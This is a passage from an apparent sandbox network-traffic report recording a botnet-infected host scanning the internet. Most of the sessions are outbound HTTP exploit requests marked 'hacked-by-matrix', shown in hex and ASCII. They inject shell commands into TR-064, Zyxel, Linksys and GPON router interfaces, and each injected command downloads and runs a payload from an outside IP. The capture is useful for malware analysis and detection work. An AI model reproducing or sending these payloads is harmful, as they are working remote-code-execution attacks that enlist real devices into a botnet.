zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.630441904 CET	376	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:23:35 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Mar 21, 2024 05:18:28.378411055 CET	376	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:23:35 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.13	44198	69.146.65.100	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.536353111 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.13	51760	86.188.160.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.613493919 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:28.597079992 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:29.753160000 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:32.243807077 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.851838112 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:46.071821928 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.13	42942	178.239.117.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.623226881 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.823205948 CET	321	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:18:27 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.13	55330	178.239.122.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.624185085 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.823852062 CET	321	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:18:27 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.13	48830	221.160.14.214	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.627978086 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:29.075866938 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.13	44236	69.146.65.100	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.697108984 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.13	37428	82.25.114.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.732033014 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.13	50780	172.65.238.250	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.852874041 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:28.339828014 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.13	47142	210.98.188.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871500969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.13	40122	178.39.79.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871500969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.13	34152	210.163.239.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871584892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.13	33360	118.252.227.46	443

Timestamp	Bytes transferred	Direction	Data
